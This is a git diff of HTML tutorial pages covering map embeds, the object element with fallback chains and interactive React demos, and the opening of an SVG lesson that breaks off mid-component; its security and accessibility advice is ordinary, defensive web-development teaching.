+    <li>By bus: routes 14 and 22 stop outside.</li>
+    <li>On foot: 5 minutes from the main station.</li>
+    <li><a href="https://www.openstreetmap.org/?mlat=28.6139&mlon=77.2090#map=16/28.6139/77.2090">Open in a map site</a></li>
+  </ul>
+</section>
+```
+
+</TabItem>
+<TabItem value="output" label="Browser Output">
+
+<BrowserWindow url="http://127.0.0.1:5500/index.html">
+<>
+<FailureDemo />
+</>
+</BrowserWindow>
+
+</TabItem>
+</Tabs>
+
+Tick and untick the boxes in the demo. The **map is only half the page.** The address, the plain-language directions, and the link are what make it usable if the map is blocked, slow, too small to read, or unusable with a keyboard or screen reader. Use [`<address>`](/tutorials/html/semantic-html/address) for the contact details of the place.
+
+## Building a Map Embed from Coordinates
+
+A place can be described by **latitude** and **longitude** in decimal degrees:
+
+- **Latitude:** from -90 (south) to 90 (north).
+- **Longitude:** from -180 (west) to 180 (east).
+- Use a **dot** for decimals, and negative numbers for south and west.
+
+Most providers let you **copy an embed code** from their site (look for "Share" or "Embed a map"). Some also let you build the address yourself. For example, the OpenStreetMap embed takes a **bounding box** (west, south, east, north) and an optional marker.
+
+### Try It: Build a Map and Its Links
+
+Change the coordinates, zoom, and place name. The tool writes the iframe and the links. The map itself loads **only when you press the button.**
+
+<Tabs>
+<TabItem value="code" label="HTML Code" default>
+
+```html title="index.html"
+<iframe
+  title="Map of Example Café"
+  src="https://www.openstreetmap.org/export/embed.html?bbox=WEST%2CSOUTH%2CEAST%2CNORTH&layer=mapnik&marker=LAT%2CLON"
+  loading="lazy"
+  style="width:100%;aspect-ratio:3 / 2;border:0"></iframe>
+
+<!-- Links that work without any embed -->
+<a href="https://www.openstreetmap.org/?mlat=LAT&mlon=LON#map=16/LAT/LON">OpenStreetMap</a>
+<a href="https://www.google.com/maps/search/?api=1&query=LAT%2CLON">Google Maps</a>
+<a href="geo:LAT,LON?q=LAT,LON(Example%20Caf%C3%A9)">Phone map app</a>
+```
+
+</TabItem>
+<TabItem value="output" label="Browser Output">
+
+<BrowserWindow url="http://127.0.0.1:5500/index.html">
+<>
+<MapBuilder />
+</>
+</BrowserWindow>
+
+</TabItem>
+</Tabs>
+
+A few notes on the link formats:
+
+- **Web links** to map sites (OpenStreetMap, Google Maps, Apple Maps) work in every browser. They open the site, or the app if one is installed.
+- A **`geo:` link** opens the default map app on many phones. It does nothing useful on many desktop computers, so offer it **alongside** a web link, never instead of one.
+- The exact link formats belong to each provider, and can change. Check the provider's current documentation before relying on one.
+
+## Click-to-Load: Privacy and Speed
+
+An embedded map loads a lot: scripts, tiles, fonts, and trackers. And the provider learns that **this visitor** opened **this page**, even if they never touch the map.
+
+A **click-to-load** (or "facade") pattern avoids that. Show a placeholder, with the address and a link, and create the iframe only when the visitor asks for it.
+
+```html
+<div id="map-slot">
+  <p>The map is not loaded, so nothing has been sent to the map provider.</p>
+  <button type="button" id="load-map">Load the map</button>
+</div>
+```
+
+```js
+document.getElementById("load-map").addEventListener("click", () => {
+  const frame = document.createElement("iframe");
+  frame.title = "Map of Example Café";
+  frame.src = "https://www.openstreetmap.org/export/embed.html?bbox=…&marker=…";
+  frame.loading = "lazy";
+  frame.referrerPolicy = "strict-origin-when-cross-origin";
+  frame.style.cssText = "width:100%;aspect-ratio:3/2;border:0";
+
+  document.getElementById("map-slot").replaceChildren(frame);
+});
+```
+
+This helps in three ways: **privacy** (no contact until the visitor chooses), **speed** (the page is light until the map is needed), and **legal compliance** (many places require consent before loading third-party trackers).
+
+## Keys, Terms, and Attribution
+
+- **Many map services need an account and an API key.** Without one, an embed may fail or show a watermark.
+- **Never expose an unrestricted key.** A key in your page can be copied. Restrict it in the provider's console to your own website addresses (and to the services you use), and set usage limits.
+- **Read the terms.** Providers set rules about usage limits, caching, commercial use, and how to display the map. Public tile servers in particular are often **not** meant for heavy traffic.
+- **Show the attribution.** OpenStreetMap-based maps require a credit such as "© OpenStreetMap contributors". Do not hide or crop it.
+- **Watch the cost.** Some services charge per load. A map on a busy page can cost real money, which is another reason to use click-to-load.
+
+## Responsive Maps
+
+A map needs room. Too small, and it cannot be used. Too tall on a phone, and it traps the scroll.
+
+```css
+.map {
+  display: block;
+  width: 100%;
+  max-width: 48rem;
+  aspect-ratio: 3 / 2;     /* roomy on phones */
+  border: 0;
+}
+
+@media (min-width: 48rem) {
+  .map { aspect-ratio: 16 / 9; }
+}
+```
+
+- Use `aspect-ratio`, as you saw in [Iframe](./iframe) and [Responsive Video](/tutorials/html/audio-video/responsive-video), so the page does not jump while it loads.
+- On touch screens, a map that fills the whole screen makes it hard to scroll past. Leave a margin of page around it, or a visible gap.
+- Check the map at 200% zoom.
+
+## Accessibility at a Glance
+
+- **Give the iframe a `title`** such as "Map of Example Café".
+- **Always provide the address as real text,** and **directions in words** (transport, landmarks, step-free access, parking).
+- **Provide links** to open the place in a map app, which has its own accessible controls.
+- **Do not put important information only on the map,** such as opening hours or a note in a marker. Say it in the page.
+- **Do not trap the keyboard.** Test that Tab can enter and leave the map. If you cannot control an embed, offer a "Skip the map" link before it.
+- **Check zoom and touch.** Interactive maps are hard to use with a keyboard, a screen reader, or limited dexterity. Treat them as a convenience, not the only route to the information.
+- **For a library map,** give markers real text, make marker lists available as normal HTML (a list or table), and support keyboard operation.
+- **Do not rely on colour** to show meaning on a map you control.
+- **Keep text readable** on top of map tiles, with strong contrast.
+
+## Security and Privacy Notes
+
+- **An embedded map is third-party content.** It can set cookies and track visitors. Use click-to-load, `referrerpolicy`, and `loading="lazy"`, and ask for consent where the law requires.
+- **Do not grant `allow="geolocation"` unless you need it.** An embed that asks for the visitor's location is asking for very personal data. If you have a "find the nearest store" feature, ask only after the visitor presses a button, and explain why.
+- **Never request the location automatically** when the page loads.
+- **Protect your API key** with restrictions, as above.
+- **Be careful whose location you publish.** Do not put a **private person's home address** on a map without their clear consent. A map pin and a name can cause real harm.
+- **Do not build the `src` from visitor input** without checking it. Allow only your known map host, and encode every value with `encodeURIComponent`.
+- **Treat coordinates as data.** Check that they are numbers in range before you put them into a link or an address.
+- For the full defences, see [Third-Party Content Security](./third-party-content-security).
+
+## Global Audience Notes
+
+- **Some map services are blocked or slow in some countries.** Offer **more than one** link (for example, a global service and the one most used locally), and always give the address in text.
+- **Map labels appear in different languages.** Many providers let you choose the language of the labels, or show local names. Check that your visitors can read the map.
+- **Address formats differ widely.** Some countries put the number before the street, some after. Some have no street numbers. Give extra help: a landmark, a nearby station, or a short plain-language description.
+- **Write the address in the local script,** and, where it helps visitors, a second version in a widely read script, such as the Latin alphabet.
+- **Use decimal coordinates with a dot,** even if your own language uses a comma, and do not put spaces or degree symbols in links.
+- **Right-to-left pages:** the map itself is not mirrored, but your text, buttons, and layout should be.
+- **Heavy maps hurt on slow and metered connections.** Click-to-load, and a link, make the page work for everyone.
+- **Think about time:** opening hours, time zones, and holidays differ. Give them as text, with the time zone where needed.
+
+## Common Mistakes to Avoid
+
+1. **A map with no address or directions in text.**
+2. **No `title` on the iframe.**
+3. **Loading the map immediately,** with no consent or click.
+4. **An unrestricted API key** in the page.
+5. **Hiding the attribution.**
+6. **Granting location access for no reason,** or asking for it on load.
+7. **A map too small to use,** or so tall it traps the scroll.
+8. **Putting opening hours or notes only inside the map.**
+9. **Only a `geo:` link,** which does nothing on many desktops.
+10. **Only one map provider,** where it may be blocked.
+11. **Wrong coordinates** (latitude and longitude swapped, or a comma in the numbers).
+12. **Publishing a private person's address.**
+
+## Practice Time
+
+Try these in your editor:
+
+1. Write the address of a place as text, inside an `<address>` element.
+2. Add directions in words: by bus, on foot, and step-free access.
+3. Add a link to open the place in a map site.
+4. Add an `<iframe>` map with a `title` and `aspect-ratio`.
+5. Swap the latitude and longitude, and see where the pin lands.
+6. Replace the iframe with a click-to-load button that creates it.
+7. Add a `geo:` link, and test it on a phone and on a computer.
+8. Check the page with the map blocked (for example, with a privacy extension), and see what visitors would see.
+9. Tab through the page, and make sure you can get past the map.
+10. Bonus: write the whole "Find us" section for a place you know, and ask a friend to find it using only your text.
+
+<AdsComponent />
+<br />
+
+## Quick Recap
+
+Click a question to check your answer.
+
+<details>
+<summary>1. Is there an HTML element for maps?</summary>
+
+No. The `<map>` element is for clickable regions on an image. To show a geographic map, you use a link, a static image, an `iframe` embed, or a JavaScript mapping library.
+
+</details>
+
+<details>
+<summary>2. What should always accompany an embedded map?</summary>
+
+The address as real text, directions in words, and a link to open the place in a map app. They help when the map is blocked, slow, or hard to use.
+
+</details>
+
+<details>
+<summary>3. What is click-to-load, and why use it?</summary>
+
+A placeholder with a button that creates the `iframe` only when the visitor asks. Nothing is sent to the map provider until then, so it protects privacy, speeds up the page, and helps meet consent rules.
+
+</details>
+
+<details>
+<summary>4. How should you protect a map API key?</summary>
+
+Restrict it in the provider's console to your website addresses and the services you use, set usage limits, and never use an unrestricted key in public pages.
+
+</details>
+
+<details>
+<summary>5. What are the valid ranges for coordinates?</summary>
+
+Latitude from -90 to 90, and longitude from -180 to 180, as decimal numbers with a dot. Swapping them is a common mistake.
+
+</details>
+
+<details>
+<summary>6. Why offer more than one map link?</summary>
+
+Some services are blocked or slow in some countries, and different people prefer different apps. A global link, a local one, and a `geo:` link for phones cover more visitors.
+
+</details>
+
+## Key Takeaways
+
+- HTML has no geographic map element. Use **links, static images, `iframe` embeds, or a map library**, starting with the simplest.
+- Always give **the address, directions in words, and a link** as text, so the page works without the map.
+- Give the iframe a **`title`**, a **shape** with `aspect-ratio`, and `loading="lazy"`.
+- Use **click-to-load** to protect privacy and speed, and never ask for location automatically.
+- **Restrict API keys,** read the terms, and keep the **attribution** visible.
+- Test with the **keyboard**, at **200% zoom**, and with the map **blocked**.
+- Offer **more than one provider**, write addresses clearly, and use decimal coordinates with a dot.
+- Never publish a private person's address on a map without clear consent.
+
+Next, the most important lesson of the section: staying safe with everything you embed, in [Third-Party Content Security](./third-party-content-security), or return to the [Embedded Content overview](../embedded-content).
\ No newline at end of file
diff --git a/tutorials/html/11-embedded-content/object.mdx b/tutorials/html/11-embedded-content/object.mdx
index 7fc0f864c..41b84cd44 100644
--- a/tutorials/html/11-embedded-content/object.mdx
+++ b/tutorials/html/11-embedded-content/object.mdx
@@ -1,15 +1,436 @@
 ---
-id: object-element
-title: "Generic Resource Embedding: The object Element"
-sidebar_label: "Object (<object>)"
+id: html-object
+title: "HTML Object Element"
+sidebar_label: "Object"
 sidebar_position: 4
 slug: /html/embedded-content/object
-description: "Master the object tag to embed PDFs, flash legacy assets, external images, and fallback content cleanly into HTML documents."
+description: "Learn the HTML object element: embedding PDFs, SVG and other files with data and type, fallback content that appears when a file cannot be shown, nested fallback chains, sizing, scripting a same-origin SVG, accessibility and security limits, and when to use iframe or img instead, with live demos."
 keywords:
+  - HTML object element
   - HTML object tag
-  - generic resource embedding
-  - embed PDF HTML
-  - object fallback content
+  - object data type fallback
+  - embed PDF object HTML
+  - object vs embed vs iframe
+  - nested object fallback
+  - object contentDocument SVG
+  - object accessibility
+  - learn HTML
   - CodeHarborHub HTML
-tags: [html, object, embedded-content, fallback]
----
\ No newline at end of file
+tags: [html, web-development, beginner, object, embedded-content, fallback, accessibility, frontend]
+---
+
+import {useState} from 'react';
+
+export function FallbackLab() {
+  const [mode, setMode] = useState("ok");
+  const svg = '<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 200 80"><rect width="200" height="80" rx="8" fill="#ffe4e6"/><circle cx="40" cy="40" r="24" fill="#e11d48"/><text x="80" y="46" font-family="sans-serif" font-size="16" fill="#0f172a">An SVG file</text></svg>';
+  const uri = "data:image/svg+xml," + encodeURIComponent(svg);
+  const modes = [
+    {key: "ok", label: "The file can be shown"},
+    {key: "bad", label: "The file type cannot be shown"},
+    {key: "chain", label: "Two failures, then a last resort"},
+  ];
+  const code = {
+    ok: '<object data="graphic.svg" type="image/svg+xml"\n        width="240" height="96">\n  <p>This graphic could not be shown.</p>\n</object>',
+    bad: '<object data="report.xyz" type="application/x-unknown"\n        width="240" height="96">\n  <p>This file type cannot be shown here.\n     <a href="report.xyz">Download it</a>.</p>\n</object>',
+    chain: '<object data="a.xyz" type="application/x-unknown">\n  <object data="b.xyz" type="application/x-other">\n    <img src="graphic.svg" alt="A red circle and the words An SVG file">\n  </object>\n</object>',
+  }[mode];
+  const note = {
+    ok: "The browser handles the type, so it shows the file. The fallback inside stays hidden.",
+    bad: "No handler for this type, so the browser shows what is inside the object instead. In most browsers, this works the same way for a file that fails to load.",
+    chain: "The first object fails, so the browser tries the object inside it. That fails too, so the image at the end is shown.",
+  }[mode];
+  return (
+    <div>
+      <fieldset style={{margin: "0 0 0.6rem"}}>
+        <legend>What happens to the file?</legend>
+        {modes.map((item) => (
+          <label key={item.key} style={{display: "block"}}>
+            <input type="radio" name="fl-mode" checked={mode === item.key} onChange={() => setMode(item.key)} /> {item.label}
+          </label>
+        ))}
+      </fieldset>
+      <div style={{border: "1px dashed #94a3b8", padding: "0.5rem", marginBottom: "0.5rem"}}>
+        {mode === "ok" && (
+          <object key="ok" data={uri} type="image/svg+xml" width="240" height="96" aria-label="A red circle and the words An SVG file">
+            <p style={{margin: 0}}>This graphic could not be shown.</p>
+          </object>
+        )}
+        {mode === "bad" && (
+          <object key="bad" data="data:application/x-unknown,hello" type="application/x-unknown" width="240" height="96">
+            <p style={{margin: 0}}>
+              This file type cannot be shown here.{" "}
+              <a href="#download" onClick={(event) => event.preventDefault()}>Download it</a>.
+            </p>
+          </object>
+        )}
+        {mode === "chain" && (
+          <object key="chain" data="data:application/x-unknown,a" type="application/x-unknown">
+            <object data="data:application/x-other,b" type="application/x-other">
+              <img src={uri} alt="A red circle and the words An SVG file" width="200" height="80" />
+            </object>
+          </object>
+        )}
+      </div>
+      <pre style={{margin: "0 0 0.4rem", whiteSpace: "pre-wrap", fontSize: "0.85em"}}><code>{code}</code></pre>
+      <p role="status" style={{margin: 0}}>{note}</p>
+      <p style={{margin: "0.4rem 0 0", fontSize: "0.9em", color: "#64748b"}}>
+        These are real <code>object</code> elements. Fallback behaviour can differ a little between browsers, so always test the file types you use.
+      </p>
+    </div>
+  );
+}
+
+export function ObjectBuilder() {
+  const kinds = {
+    pdf: {label: "A PDF document", type: "application/pdf", data: "guide.pdf", w: 600, h: 400, fallback: '<a href="guide.pdf">Download the guide (PDF, 1.2 MB)</a>'},
+    svg: {label: "An SVG graphic", type: "image/svg+xml", data: "diagram.svg", w: 300, h: 200, fallback: '<img src="diagram.png" alt="Diagram of the checkout steps">'},
+    html: {label: "An HTML page", type: "text/html", data: "page.html", w: 600, h: 300, fallback: '<a href="page.html">Open the page</a>'},
+    image: {label: "A picture", type: "image/png", data: "photo.png", w: 400, h: 300, fallback: '<p>A loaf of bread on a rack</p>'},
+  };
+  const [kind, setKind] = useState("pdf");
+  const [withType, setWithType] = useState(true);
+  const [withFallback, setWithFallback] = useState(true);
+  const [label, setLabel] = useState("User guide");
+  const current = kinds[kind];
+  const lines = ['<object data="' + current.data + '"'];
+  if (withType) lines.push('        type="' + current.type + '"');
+  lines.push('        width="' + current.w + '" height="' + current.h + '"');
+  if (label.trim()) lines.push('        aria-label="' + label + '">');
+  else lines[lines.length - 1] += ">";
+  if (withFallback) lines.push("  " + current.fallback);
+  lines.push("</object>");
+  const warnings = [];
+  if (!withType) warnings.push({bad: true, text: "No type. The browser has to guess, and may download a file it cannot show."});
+  if (!withFallback) warnings.push({bad: true, text: "No fallback content. Visitors whose browser cannot show the file see an empty box."});
+  if (!label.trim()) warnings.push({bad: true, text: "No accessible name. When the file loads, the fallback is hidden, so the object may have no name at all."});
+  if (kind === "html") warnings.push({bad: true, text: "For an HTML page, iframe is the better element: it has title, lazy loading and sandbox."});
+  if (kind === "image") warnings.push({bad: true, text: "For a picture, use img with alt text and lazy loading."});
+  if (kind === "pdf") warnings.push({bad: false, text: "Keep a visible download link on the page as well. Many phones do not show a PDF inline."});
+  if (kind === "svg") warnings.push({bad: false, text: "If the SVG is only a picture, img is simpler. If you need to style it with your CSS, use inline SVG."});
+  return (
+    <form onSubmit={(event) => event.preventDefault()}>
+      <p style={{display: "flex", gap: "1rem", flexWrap: "wrap", margin: "0 0 0.5rem"}}>
+        <label>What are you embedding?{" "}
+          <select value={kind} onChange={(event) => setKind(event.target.value)}>
+            {Object.keys(kinds).map((key) => (<option key={key} value={key}>{kinds[key].label}</option>))}
+          </select>
+        </label>
+        <label><input type="checkbox" checked={withType} onChange={(event) => setWithType(event.target.checked)} /> type</label>
+        <label><input type="checkbox" checked={withFallback} onChange={(event) => setWithFallback(event.target.checked)} /> fallback content</label>
+      </p>
+      <p style={{margin: "0 0 0.5rem"}}>
+        <label htmlFor="ob-label">aria-label (a name for the object)</label><br />
+        <input id="ob-label" type="text" value={label} onChange={(event) => setLabel(event.target.value)} style={{width: "100%", maxWidth: "22rem"}} />
+      </p>
+      <pre style={{margin: "0 0 0.5rem", whiteSpace: "pre-wrap", fontSize: "0.85em"}}><code>{lines.join("\n")}</code></pre>
+      <ul role="status" style={{margin: 0, paddingLeft: "1.25rem"}}>
+        {warnings.map((entry) => (<li key={entry.text} style={{color: entry.bad ? "#b91c1c" : "#15803d"}}>{entry.text}</li>))}
+      </ul>
+    </form>
+  );
+}
+
+The `<embed>` element had one big weakness: when the file could not be shown, the visitor got an empty box. The **`<object>`** element fixes that. It does the same job (show an external resource in a rectangle of your page), but it has a feature `embed` lacks: **fallback content.** Whatever you put between the tags is shown when the resource cannot be displayed.
+
+It also lets you build a **chain of fallbacks**: try this, then this, and as a last resort show this text or image.
+
+<AdsComponent />
+<br />
+
+## What You Will Learn
+
+- Using `<object>` with `data` and `type`
+- Fallback content, and nested fallback chains
+- Sizing, naming, and scripting an object
+- How `object` compares with `embed`, `iframe`, and `img`
+- Accessibility and security limits
+- When not to use it
+
+## The Basics
+
+<Tabs>
+<TabItem value="code" label="HTML Code" default>
+
+```html title="index.html"
+<object
+  data="guide.pdf"
+  type="application/pdf"
+  width="600"
+  height="400"
+  aria-label="User guide"
+>
+  <p>
+    Your browser cannot show this PDF.
+    <a href="guide.pdf">Download the guide (PDF, 1.2 MB)</a>.
+  </p>
+</object>
+```
+
+</TabItem>
+<TabItem value="output" label="Browser Output">
+
+<BrowserWindow url="http://127.0.0.1:5500/index.html">
+<>
+<FallbackLab />
+</>
+</BrowserWindow>
+
+</TabItem>
+</Tabs>
+
+Switch between the three cases above. They are all real `<object>` elements. In the first, the file is shown. In the second, the browser cannot handle the type, so the fallback paragraph appears. In the third, the browser tries a chain of objects, and ends with an image.
+
+## Attributes
+
+| Attribute | What it does | Notes |
+| :-- | :-- | :-- |
+| `data` | The address of the resource | This is `data`, not `src`. (Easy to mix up with `embed`) |
+| `type` | The MIME type of the resource | Always add it. It lets the browser choose without downloading |
+| `width`, `height` | Size, in pixels | Set both, or use CSS. Without them, the box is small by default |
+| `name` | A name that links and forms can target | Rarely needed |
+| `form` | Associates the object with a form | Rare |
+| `usemap` | Links an image map | Old and rare |
+
+Inside the element, you may also meet **`<param>`** elements, which passed settings to plug-ins:
+
+```html
+<object data="movie.swf">
+  <param name="quality" value="high">
+</object>
+```
+
+Plug-ins no longer exist in browsers, so `<param>` is almost never useful now. You will see it only in old code.
+
+## Fallback Content
+
+Whatever you put inside `<object>` is shown **only if the resource cannot be displayed**, either because the browser has no handler for the `type`, or because the file fails to load (in most browsers).
+
+Good fallbacks:
+
+| Resource | A good fallback |
+| :-- | :-- |
+| A PDF | A paragraph with a **download link**, with the file size |
+| An SVG chart | An `<img>` of the chart with `alt`, or a link to a data table |
+| A video file | A link to the video, and a transcript |
+| An HTML page | A link that opens the page |
+
+### A Chain of Fallbacks
+
+You can **nest** objects. The browser tries the outer one first, and moves inward only if it fails. End with something that always works, such as an `<img>` or plain text:
+
+```html
+<object data="chart.svg" type="image/svg+xml">
+  <object data="chart.png" type="image/png">
+    <p>
+      Sales rose from 40 to 65 units between January and June.
+      <a href="chart-data.html">See the data table</a>.
+    </p>
+  </object>
+</object>
+```
+
+This pattern was popular when browsers differed widely. Today, a single `<object>` with one good fallback is usually enough.
+
+### Try It: Build an Object Tag
+
+Pick what you are embedding, and the tool writes the tag. Turn off the type, the fallback, or the name, and see what it warns you about.
+
+<Tabs>
+<TabItem value="code" label="HTML Code" default>
+
+```html title="index.html"
+<object data="diagram.svg" type="image/svg+xml" width="300" height="200"
+        aria-label="Checkout steps">
+  <img src="diagram.png" alt="Diagram of the checkout steps">
+</object>
+```
+
+</TabItem>
+<TabItem value="output" label="Browser Output">
+
+<BrowserWindow url="http://127.0.0.1:5500/index.html">
+<>
+<ObjectBuilder />
+</>
+</BrowserWindow>
+
+</TabItem>
+</Tabs>
+
+## `object` vs the Others
+
+| | `img` | `object` | `iframe` | `embed` |
+| :-- | :-- | :-- | :-- | :-- |
+| Fallback | `alt` text | **Content inside, and it can nest** | Rarely shown | None |
+| Shows | Images (and SVG as a picture) | PDFs, SVG, HTML, images | Other web pages | The same files, but with no fallback |
+| Lazy loading | Yes | No | Yes | No |
+| Sandbox | n/a | No | **Yes** | No |
+| Scripts in an SVG | Do **not** run | Run | Run | Run |
+| Best for | Pictures | **PDFs with a fallback**, SVG you must script from outside | Pages, players, maps | Rarely |
+
+A simple way to choose:
+
+1. **A picture?** Use `img`.
+2. **A graphic you want to style or animate with your page's CSS and JavaScript?** Use inline SVG. See [SVG](./svg).
+3. **A web page, player, or widget?** Use [`iframe`](./iframe).
+4. **A PDF, or a file where you need fallback content?** Use `object`.
+
+## Reaching Inside an Object
+
+When the file is an **SVG or HTML page from the same origin** as your page, your script can read and change its document:
+
+```js
+const object = document.querySelector("object");
+
+object.addEventListener("load", () => {
+  const doc = object.contentDocument;        // null for another origin
+  if (!doc) return;
+
+  const circle = doc.querySelector("circle");
+  circle.setAttribute("fill", "#16a34a");
+});
+```
+
+Notes:
+
+- Wait for the object's **`load`** event first.
+- `contentDocument` is `null` when the file comes from **another origin**. That is a security rule, not a bug.
+- If the SVG file is only a picture, you do not need any of this. Use `img`. If you need to control it from your CSS and scripts, **inline SVG** is simpler.
+
+## Sizing
+
+- **Set `width` and `height`.** Without them, the object gets a small default size, and your content may be cut off or the page may jump.
+- **For a fluid layout,** use CSS:
+
+```css
+object {
+  display: block;
+  width: 100%;
+  max-width: 48rem;
+  aspect-ratio: 4 / 3;
+}
+```
+
+- **A PDF viewer** needs a generous height (at least 400 pixels). A short box makes it unusable.
+
+## Accessibility at a Glance
+
+- **Write real fallback content,** not "Your browser does not support this". Say what it is and how to get it.
+- **Give the object a name** with `aria-label` or `title`, because when the file loads, the fallback is hidden, and an object with no name is hard to identify.
+- **Always provide a visible link** to the file, such as a PDF, outside the object.
+- **Offer a text version** of anything important, such as an HTML page for a PDF, or a data table for a chart.
+- **Test with the keyboard,** since a viewer inside an object can trap focus. A visitor must be able to Tab out.
+- **For an SVG,** put a `<title>` and `<desc>` inside it, so it has a name of its own.
+- **Keep the size reasonable** on small screens, and check that the layout does not need sideways scrolling.
+
+## Security and Privacy Notes
+
+- **`object` has no `sandbox`.** Nothing restricts what is inside. For content you do not trust, use an `iframe` with `sandbox`.
+- **Scripts inside an SVG or HTML page run.** And when the file is from your **own origin**, it can reach your page too. Never put an untrusted file in an `object` on your own origin.
+- **Use `img` for SVG files from visitors,** because scripts do not run in an `img`. Better still, sanitise uploads on the server.
+- **Send the right headers.** Use the correct `Content-Type`, and add `X-Content-Type-Options: nosniff`.
+- **Use `https://`.** An insecure resource inside a secure page is blocked.
+- **Do not build `data` from user input.** Use a fixed list of allowed files.
+- **The file is public.** Anyone who can see the page can fetch it directly. Do not embed files that should be private.
+- **Third-party resources** may learn which page embeds them. See [Third-Party Content Security](./third-party-content-security).
+
+## Global Audience Notes
+
+- **Do not assume a PDF viewer.** Many phones do not show one. Always give a download link, with the file size and language, such as "Guide (PDF, 1.2 MB, English)".
+- **Fallbacks should be in the page's language,** and translated with the rest of the page.
+- **Offer an HTML version** for important documents. Browsers can translate HTML, and it works better in right-to-left languages and on small screens.
+- **Heavy files hurt on slow and metered connections.** Show the size, and do not load big documents until asked. For example, create the object after a click.
+- **Name files clearly,** using simple letters and digits, so links and servers handle them in every region.
+
+## Common Mistakes to Avoid
+
+1. **Writing `src` instead of `data`.**
+2. **No `type`,** so the browser guesses.
+3. **No fallback content,** or a useless one ("Not supported").
+4. **No size,** so the box is tiny.
+5. **No accessible name** for the object.
+6. **No visible download link** for a PDF.
+7. **Using `object` for pictures or web pages,** where `img` or `iframe` is better.
+8. **Putting an untrusted SVG or HTML file in an `object` on your own origin.**
+9. **Wrong server `Content-Type`.**
+10. **Trying to run Flash or Java through `object`.**
+11. **Reading `contentDocument` before the `load` event,** or for another origin.
+12. **Trapping keyboard users** in an embedded viewer.
+
+## Practice Time
+
+Try these in your editor, with a small PDF and a small SVG:
+
+1. Embed an SVG with `<object data="…" type="image/svg+xml">`.
+2. Add a fallback `img` with `alt`, and break the `data` address to see it appear.
+3. Embed a PDF with a download link as the fallback.
+4. Set the wrong `type` on purpose, and see which content shows.
+5. Build a nested chain of two objects with a last-resort paragraph.
+6. Give the object an `aria-label`, and check it in the accessibility panel.
+7. Use `contentDocument` to change the colour of a shape inside a same-origin SVG.
+8. Check what `contentDocument` returns for a file from another origin.
+9. Replace the SVG object with an `img`, and compare what you lose and gain.
+10. Bonus: replace the PDF object with an `iframe`, and compare the fallback options.
+
+<AdsComponent />
+<br />
+
+## Quick Recap
+
+Click a question to check your answer.
+
+<details>
+<summary>1. What is the main advantage of `object` over `embed`?</summary>
+
+It has fallback content. If the resource cannot be shown, the browser displays what you put between the tags, and you can nest objects to build a chain of fallbacks.
+
+</details>
+
+<details>
+<summary>2. Which attribute holds the address in an `object`?</summary>
+
+`data`, not `src`. It is paired with `type`, which gives the MIME type.
+
+</details>
+
+<details>
+<summary>3. What makes a good fallback?</summary>
+
+A clear sentence that says what the file is, with a visible download link (and size), or an image with `alt`, or a data table, depending on the content.
+
+</details>
+
+<details>
+<summary>4. When can a script read inside an object?</summary>
+
+When the file is an SVG or HTML page from the same origin, and after the `load` event, through `contentDocument`. For other origins, it is `null`.
+
+</details>
+
+<details>
+<summary>5. Is `object` safe for untrusted files?</summary>
+
+No. It has no `sandbox`, scripts inside SVG and HTML run, and a same-origin file can reach your page. Use an `iframe` with `sandbox`, or an `img` for SVG pictures.
+
+</details>
+
+<details>
+<summary>6. What should you use for a plain picture?</summary>
+
+`img`, with `alt` text, a size, and `loading="lazy"`.
+
+</details>
+
+## Key Takeaways
+
+- `<object>` embeds a resource with `data` and `type`, and shows **fallback content** when it cannot.
+- Objects can be **nested** to build a chain of fallbacks that ends in something that always works.
+- It is a good fit for **PDFs** with a download link, but a visible link outside the object is still wise.
+- Always set `type`, a **size**, and an **accessible name**.
+- Same-origin SVG and HTML files can be scripted through `contentDocument`, after `load`.
+- `object` has **no sandbox**, so never put untrusted files in it. Prefer `img` for pictures, inline SVG for scripted graphics, and `iframe` for pages.
+- Plug-ins and `<param>` belong to the past.
+- Provide text versions, plan for slow connections, and send the right headers.
+
+Next, draw graphics that scale to any size with [SVG](./svg), or return to the [Embedded Content overview](../embedded-content).
\ No newline at end of file
diff --git a/tutorials/html/11-embedded-content/svg.mdx b/tutorials/html/11-embedded-content/svg.mdx
index af3223962..2a262a9f8 100644
--- a/tutorials/html/11-embedded-content/svg.mdx
+++ b/tutorials/html/11-embedded-content/svg.mdx
@@ -1,15 +1,653 @@
 ---
-id: svg-element
-title: "Scalable Vector Graphics: Inline SVG in HTML"
-sidebar_label: "Inline SVG (<svg>)"
-sidebar_position: 6
+id: html-svg
+title: "HTML SVG"
+sidebar_label: "SVG"
+sidebar_position: 5
 slug: /html/embedded-content/svg
-description: "Embed resolution-independent vector graphics directly into HTML using inline SVG, enabling CSS styling and JavaScript interactivity."
+description: "Learn SVG in HTML: drawing scalable graphics with shapes, paths and text, understanding viewBox, styling with CSS and currentColor, reusing shapes with symbol and use, choosing between inline SVG, img and object, making SVG accessible with title and desc, animation and reduced motion, and security for SVG files, with live demos."
 keywords:
-  - HTML inline SVG
-  - scalable vector graphics HTML
-  - vector graphics rendering
-  - SVG styling CSS
+  - HTML SVG tutorial
+  - inline SVG
+  - SVG viewBox explained
+  - SVG shapes circle rect path
+  - SVG currentColor icons
+  - SVG accessibility title desc
+  - SVG symbol use sprite
+  - SVG vs canvas
+  - SVG img object inline
+  - SVG animation prefers-reduced-motion
+  - SVG security sanitize
+  - learn HTML
   - CodeHarborHub HTML
-tags: [html, svg, graphics, vectors]
----
\ No newline at end of file
+tags: [html, web-development, beginner, svg, graphics, embedded-content, accessibility, frontend]
+---
+
+import {useState} from 'react';
+
+export function ShapePlayground() {
+  const [kind, setKind] = useState("circle");
+  const [x, setX] = useState(60);
+  const [y, setY] = useState(40);
+  const [size, setSize] = useState(30);
+  const [fill, setFill] = useState("#38bdf8");
+  const [stroke, setStroke] = useState("#0f172a");
+  const [width, setWidth] = useState(3);
+  const r1 = (value) => Math.round(value * 10) / 10;
+  const defs = {
+    circle: {tag: "circle", attrs: {cx: x, cy: y, r: r1(size / 2)}},
+    rect: {tag: "rect", attrs: {x: x, y: y, width: size * 2, height: size, rx: 8}},
+    ellipse: {tag: "ellipse", attrs: {cx: x, cy: y, rx: size, ry: r1(size / 2)}},
+    line: {tag: "line", attrs: {x1: x, y1: y, x2: x + size * 2, y2: y + size}},
+    polygon: {tag: "polygon", attrs: {points: x + "," + (y + size) + " " + (x + size * 2) + "," + (y + size) + " " + (x + size) + "," + y}},
+    path: {tag: "path", attrs: {d: "M " + x + " " + y + " Q " + (x + size) + " " + (y + size * 1.2) + " " + (x + size * 2) + " " + y}},
+  };
+  const current = defs[kind];
